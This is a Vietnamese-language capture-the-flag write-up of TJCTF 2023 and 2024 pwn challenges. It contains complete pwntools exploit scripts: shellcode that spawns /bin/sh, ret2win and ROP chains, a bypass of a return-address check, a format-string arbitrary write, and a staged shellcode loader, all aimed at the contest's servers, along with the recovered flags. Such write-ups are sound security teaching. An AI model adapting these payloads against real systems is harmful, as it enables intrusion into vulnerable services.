# (writeup) TJCTF'23 ## flip-out - chall: ```bash nc tjc.tf 31601 $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/e28bcc2bc9b4d12581c6290e41e74f3c3622acc8159dc8d128b2be7520f9a1f2/chall ``` - check file + checksec ![](https://hackmd.io/_uploads/B10s_PLUh.png) - check ida ![](https://hackmd.io/_uploads/S1xVKwU83.png) - đây là chương trình nhập vào 1 index để in ra nội dung của vị trí đó trong stack ![](https://hackmd.io/_uploads/HyiatwIIn.png) - thì ta thấy chuỗi chữ 'Nothing to see here... Nothing to see here...' nó sẽ đc lưu vào biến **nptr** - sau đó sẽ là các biến khác nối đuôi nhau - flag dc lưu vào biến **v18** ![](https://hackmd.io/_uploads/H10X9wL8h.png) - vậy bài này nối chuỗi bth thôi ```c char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF //46byte __int16 v7; // [rsp+3Eh] [rbp-82h] //int16 là 2 __int64 v8; // [rsp+40h] [rbp-80h] //int64 là 8 __int64 v9; // [rsp+48h] [rbp-78h] //8 __int64 v10; // [rsp+50h] [rbp-70h] //8 __int64 v11; // [rsp+58h] [rbp-68h] //8 __int64 v12; // [rsp+60h] [rbp-60h] //8 __int64 v13; // [rsp+68h] [rbp-58h] //8 __int64 v14; // [rsp+70h] [rbp-50h] //8 __int64 v15; // [rsp+78h] [rbp-48h] //8 __int64 v16; // [rsp+80h] [rbp-40h] //8 __int64 v17; // [rsp+88h] [rbp-38h] //8 __int64 v18[6]; // [rsp+90h] [rbp-30h] BYREF //flag ``` > 46 + 2 + 8*10 = 128 - hoặc nhân sinh có nghi ngờ thì thử số này lun là ra ![](https://hackmd.io/_uploads/SkoxhDL83.png) - remote ![](https://hackmd.io/_uploads/HJqH_wL83.png) - bài này chắc k cần script nhưng viết ra cho mng lun: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) #p = process(exe.path) p = remote('tjc.tf',31601) payload = b'128' p.sendline(payload) p.interactive() #tjctf{chop-c4st-7bndbji} ``` >tjctf{chop-c4st-7bndbji} --- ## shelly - chall ```bash nc tjc.tf 31365 $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/f4914c2f96e44e9190bb778009a505f0e5d87963ea2c37fa457bb9199343bcd4/chall ``` - check file + checksec ![](https://hackmd.io/_uploads/ByWw2D88h.png) - check ida ![](https://hackmd.io/_uploads/H1FahvIUn.png) > 256 byte biến s + 8 byte save_rbp ---> offset = 264 - chương trình sẽ in ra cho ta 1 cái stack của $rsp ![](https://hackmd.io/_uploads/r1DZRvLUh.png) - vậy việc mình là chèn shellcode, padding đến save_rbp, rip là stack ta leak ra được để return về shellcode của ta - vậy bài này là ret2shellcode có leak bth ![](https://hackmd.io/_uploads/S1jlTD883.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall', checksec=False) #p = process(exe.path) p = remote('tjc.tf',31365) # gdb.attach(p,gdbscript=''' # b*main+83 # b*main+234 # c # ''') # input() stack = int(p.recvline()[:-1],16) shellcode = asm( ''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''', arch='amd64') payload = shellcode payload = payload.ljust(264,b'A') payload += p64(stack) p.sendline(payload) p.interactive() #tjctf{s4lly_s3lls_s34sh3lls_50973fce} ``` >tjctf{s4lly_s3lls_s34sh3lls_50973fce} --- ## groppling-hook - chall ```bash nc tjc.tf 31080 $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/2fb71269ef3ca42ee788d340e2b71c1956e62a7b94ba45da55954f04042fcb7d/main.c $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/21710f0bd9ebca8d37153d01d29b44c285373e5e9c340a0e2b780b8aa4a7caaf/out $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/908c56a7f366fa7795a8609e9b33f40dd525c4b40dd4436d9f6e2690aba0ade6/Dockerfile ``` - check file + checksec ![](https://hackmd.io/_uploads/ryFjRvLUh.png) - check source ```c #include "stdio.h" #include <stdlib.h> void laugh() { printf("ROP detected and denied...\n"); exit(2); } void win() { FILE *fptr; char buf[28]; // Open a file in read mode fptr = fopen("flag.txt", "r"); fgets(buf, 28, fptr); puts(buf); } void pwnable() { char buffer[10]; printf(" > "); fflush(stdout); read(0, (char *)buffer, 56); /* Check ret */ __asm__ __volatile__("add $0x18, %rsp;" "pop %rax;" "cmp $0x0401262, %rax;" "jle EXIT;" "cmp $0x040128a, %rax;" "jg EXIT;" "jmp DONE;" "EXIT:" "call laugh;" "DONE: push %rax;"); return; } int main() { setbuf(stdout, NULL); pwnable(); return 0; } ``` - nhìn sơ qua source, có thể đoán rằng đây là ret2win - tìm offset ![](https://hackmd.io/_uploads/BkV0WOU82.png) >18 bytes - ret2win này đặc biệt có thêm kiểm tra thông qua mã lệnh asm ![](https://hackmd.io/_uploads/HJs0HOIL2.png) > nhảy số 1 (jle: jump less_equal) so sánh bé hơn hoặc bằng > ---> return về EXIT > EXIT là hàm laugh (cười dô bản mặt) > nhảy số 2 (jg: jump greater) so sánh lớn hơn > ---> return về EXIT > nếu không lớn hơn sẽ jmp bình thường (jump: nhảy) > ---> return về DONE > DONE là sẽ đưa giá trị hiện tại của rax lên rsp lại > rồi nop, leave, ret bình thường - vậy ta cần rip ta là 1 địa chỉ lưng chừng giữa 0x401262 và 0x040128a là được, nhưng vì địa chỉ 0x040128a là ret của hàm **main** nên ret về main sẽ tiếp tục ret ```python payload = b'A'*18 payload += p64(part2) payload += p64(exe.sym['win']) ``` - còn lùi về 0x0401289 sẽ còn 1 lệnh ``pop rbp`` sẽ đưa địa chỉ ta ret tiếp theo vào rbp và sau đó exit main bình thường ![](https://hackmd.io/_uploads/r1dSF_LUh.png) - muốn lì với cách này thì payload sẽ như sau ```python payload = b'A'*18 payload += p64(part2 - 1) payload += p64(exe.sym['win']) #pop vào rbp payload += p64(exe.sym['win']+1) #né lỗi xmm1 ``` - sau hàm check hợp ngữ asm đó nó sẽ ret 1 lần nữa nên lần này sau rip sẽ là hàm **win** của mình - return 2 lần là được ![](https://hackmd.io/_uploads/BJe_bdLI2.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./out',checksec=False) #p = process(exe.path) p = remote('tjc.tf',31080) # gdb.attach(p,gdbscript=''' # b*pwnable+65 # b*pwnable+70 # c # ''') # input() part1 = 0x0401262 part2 = 0x040128a payload = b'A'*18 payload += p64(part2) payload += p64(exe.sym['win']) p.sendafter(b'> ',payload) p.interactive() #tjctf{this_i#-my-questsss} ``` >tjctf{this_i#-my-questsss} --- ## formatter - chall ```bash nc tjc.tf 31764 $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/2e7d0edc4f63c0321c8976780d6d416b2784de0b808551ae8e07543830bfe728/chall ``` - check file + checksec ![](https://hackmd.io/_uploads/BkeNpdLU3.png) - check ida ![](https://hackmd.io/_uploads/Hy0LaOL83.png) >nhập 256 byte vào chuỗi **s** >in ra lại **s** ---> fmtstr > nhảy vào hàm **r1** với tham số là 8 byte đầu của chuỗi **s** > rồi kiểm tra với hàm **win** ![](https://hackmd.io/_uploads/SkN_aOU8n.png) > hàm này sẽ cộng cái con trỏ ``*xd`` lên 2 ![](https://hackmd.io/_uploads/S1WUAdLLn.png) > AIM🎯 : xd = 0x86a693e ![](https://hackmd.io/_uploads/ByEKT_L8h.png) >hàm **r2** với **r3** bịp thôi - từ ida ta thấy biến **xd** là 1 cái heap ![](https://hackmd.io/_uploads/Hy0LaOL83.png) - con trỏ ``*xd`` sẽ so sánh với 0x86a693e , tức là bên trong heap sẽ so sánh với số đó ![](https://hackmd.io/_uploads/S1WUAdLLn.png) - hmmm, nhập dc có 1 lần duy nhất - idea sẽ là ow địa chỉ khác ghi được chứa giá trị 0x86a693e vào con trỏ ``*xd`` (đúng hơn là 0x86a693e - 2 = 0x86a693c do còn qua hàm **r1**) ![](https://hackmd.io/_uploads/H11_NtILn.png) > xd là heap, ``*xd`` là rỗng(chưa qua hàm **r1**) ![](https://hackmd.io/_uploads/ByxsEFL83.png) >sau khi qua hàm **r1** ![](https://hackmd.io/_uploads/S1fR4Y8Ih.png) >trong hàm win, so sánh eax với giá trị 0x86a693e ![](https://hackmd.io/_uploads/ByPgrt8I3.png) >eax hiện tại : 0x2 - thực thi cái idea ![](https://hackmd.io/_uploads/SJZHHFLLh.png) >dừng ở lần nhập - ta chừa 5 hàng địa trống ở trên để chèn payload - ở vị trí tô trắng đó (%11) ta sẽ bắt đầu ghi đè thành vùng nhớ ghi được, và ghi 1/2 lượng giá trị 0x86a693e ```python payload = f"%{part1}c%11$hn".encode() --------------------------------------------- payload += p64(rw_section + 2) ``` - ở vị trí tiếp theo (%12) ghi lượng còn lại vào địa chỉ ghi được ở phân vùng thấp hơn 2 (do đã ghi 2 ở trước, sẽ bắt đầu ghi tiếp nối đuôi nhau) ```python payload += f"%{part2 - part1}c%12$hn".encode() ---------------------------------------------- payload += p64(rw_section) ``` - ở vị trí kế tiếp (%13) sẽ ghi thành phân vùng ghi được trước đó vào biến **xd** (sẽ ghi rw_section đè lên cả heap) ```python payload += f"%{rw_section - part2}c%13$n".encode() ---------------------------------------------- payload += p64(xd) #0x403440 ``` >ghi lần 3 thì phải trừ 2 lần đầu > p3 - (p2 - p1) - p1 = p3 - p2 +(p1 - p1) = p3 - p2 ![](https://hackmd.io/_uploads/SJX2UFIU3.png) >trước fmtstr ![](https://hackmd.io/_uploads/r1FoOKLL3.png) >sau fmtstr ![](https://hackmd.io/_uploads/Bk61tKLI3.png) >so sánh eax vs 0x86a693e - get flag: ![](https://hackmd.io/_uploads/ryEs3uUIh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) #p = process(exe.path) p = remote('tjc.tf', 31764) # gdb.attach(p,gdbscript=''' # b*main+95 # b*main+115 # b*main+120 # b*r1+54 # b*win+46 # c # ''') # input() rw_section = 0x403a00 win = 0x86a693c part1 = 0x86a part2 = 0x693c xd = 0x403440 payload = f"%{part1}c%11$hn".encode() payload += f"%{part2 - part1}c%12$hn".encode() payload += f"%{rw_section - part2}c%13$n".encode() payload = payload.ljust(40) payload += p64(rw_section + 2) payload += p64(rw_section) payload += p64(xd) p.sendline(payload) p.interactive() #tjctf{f0rm4tt3d_5883cc30} ``` >tjctf{f0rm4tt3d_5883cc30} --- ## teenage-game - chall ```bash nc tjc.tf 31119 $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/e5685714ecab551b28d2ddb9470b651a5f4ce5e744a30a71e4f2ec161ac21dc9/game $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/52457786ee0094ea41227ae5f8bdfa6ed08b5218150cc9e4ec1e7f50571ce963/Dockerfile $ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/efe13ea610d23f09bc4782097a07f944ed1006904ea15e890b85db951953bcf0/connect.sh ``` - check file + checksec ![](https://hackmd.io/_uploads/SJNisuIL2.png) - check ida ![](https://hackmd.io/_uploads/r1nenOIIh.png) - bài này y hệt bài baby-game-2 hồi giải pico_ctf_23 nên coi [wu](https://hackmd.io/@trhoanglan04/BkNgwg7xn#babygame02) bên đây hen ![](https://hackmd.io/_uploads/Sy_To_LLh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./game',checksec=False) #p = process(exe.path) p = remote('tjc.tf', 31119) # gdb.attach(p,gdbscript=''' # b*main+179 # b*move_player+212 # b*main+213 # c # ''') # input() win = exe.sym['win'] + 5 & 0xff # +5 để né lỗi xmm0 payload = b'l' + p8(win) p.sendline(payload) payload = b'wwwaaaaaaaaaaaaaa' p.sendline(payload) payload = b'aaaaaaaaaaaaaaw' p.sendline(payload) p.interactive() #tjctf{so_many_new_features_but_who_will_stop_the_underflow?_47c6f204377cb18b30e68da46e9930dc} ``` >``tjctf{so_many_new_features_but_who_will_stop_the_underflow?_47c6f204377cb18b30e68da46e9930dc}`` --- # (writeup) TJCTF'24 ## cowsay - solution: ``%10$s`` ![image](https://hackmd.io/_uploads/rJp0f0AQA.png) ## baby-heap - solution: ``0x81`` ``0x70`` ![image](https://hackmd.io/_uploads/ryupzRAmC.png) ## ring-opening-polimerization - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./out',checksec=False) # p = process(exe.path) p = remote('tjc.tf',31457) # gdb.attach(p,gdbscript=''' # b*0x401231 # c # ''') # input() pop_rdi = 0x000000000040117a payload = b'a'*8*2 payload += p64(pop_rdi) + p64(0xdeadbeef) payload += p64(exe.sym.win) p.sendline(payload) p.interactive() #tjctf{bby-rop-1823721665as87d86a5} ``` ## sled - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./out',checksec=False) # p = process(exe.path) p = remote('tjc.tf',31456) # gdb.attach(p,gdbscript=''' # b*main+44 # c # ''') # input() payload = asm(''' push rdx pop rsi add rsi, 0xd push rax pop rdi push r11 pop rdx syscall nop ''',arch='amd64') p.sendline(payload) shellcode = asm(shellcraft.sh()) # shellcode = b'\x90'*100 sleep(3) p.send(shellcode) p.interactive() #tjctf{bby-shhEellLcodeeeeeaf7af7f66} ```